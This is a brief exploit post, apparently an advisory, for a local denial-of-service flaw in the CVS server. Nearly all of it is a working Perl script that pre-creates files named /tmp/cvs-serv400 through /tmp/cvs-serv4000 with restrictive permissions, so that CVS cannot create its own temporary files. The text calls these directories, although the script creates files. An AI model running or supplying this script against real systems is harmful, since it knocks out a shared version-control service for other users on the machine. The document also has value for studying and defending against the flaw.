CVS Local Denial of Service Vulnerability

The following perl script will create many directories in /tmp with incrementing pids:

#!/usr/bin/perl

$min=400;
$max=4000;

for ($x=$min;$x<=$max;$x++) {
open CVSTMP, ">>/tmp/cvs-serv$x" or die "/tmp/cvs-serv$x: $!";
chmod 0600, "/tmp/cvs-serv$x";
close CVSTMP;
}
